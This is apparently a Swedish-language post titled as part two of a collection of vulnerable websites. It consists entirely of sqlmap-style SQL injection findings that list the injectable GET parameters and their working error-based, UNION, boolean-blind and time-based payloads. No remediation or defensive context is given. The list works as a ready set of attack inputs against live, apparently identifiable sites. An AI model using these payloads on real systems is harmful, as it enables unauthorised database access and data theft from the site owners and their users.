Samling av sidor med säkerhetsbrister - Del 2

Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=52' AND (SELECT 1019 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,117,
105,58),(SELECT (CASE WHEN (1019=1019) THEN 1 ELSE 0 END)),CHAR(58,120,122,122,5
8),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'fdpw'='f
dpw

Place: GET
Parameter: show
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: page=polls&show=67' UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,99,
97,103,58),CHAR(106,106,113,84,106,89,72,78,84,100),CHAR(58,115,110,118,58)), NU
LL# AND 'REQN'='REQN

Place: GET
Parameter: team
    Type: UNION query
    Title: MySQL UNION query (123) - 1 column (custom)
    Payload: team=-7327 UNION ALL SELECT CONCAT(0x7169667971,0x70656c61515263466
56e,0x7161706a71)#

Place: GET
Parameter: forsk_id
    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: verk=forsk&list=sv&forsk_id=54 UNION ALL SELECT NULL,CONCAT(0x716d7
26f71,0x436470654247726b7572,0x7169707171),NULL,NULL,NULL,NULL,NULL#

Place: GET
Parameter: mid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mid=5106 AND 2292=2292

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: mid=5106 AND SLEEP(5)

Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=9449 AND (SELECT 1015 FROM(SELECT COUNT(*),CONCAT(0x71686f6f71,(
SELECT (CASE WHEN (1015=1015) THEN 1 ELSE 0 END)),0x7179757a71,FLOOR(RAND(0)*2))
x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Place: GET
Parameter: language
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: language=1 AND 7268=7268

Place: GET
Parameter: npageid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: npageid=1047 AND 7012=7012&ncategoryid=19&sarkivdate=3/17/20

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: npageid=1047 AND SLEEP(5)&ncategoryid=19&sarkivdate=3/17/20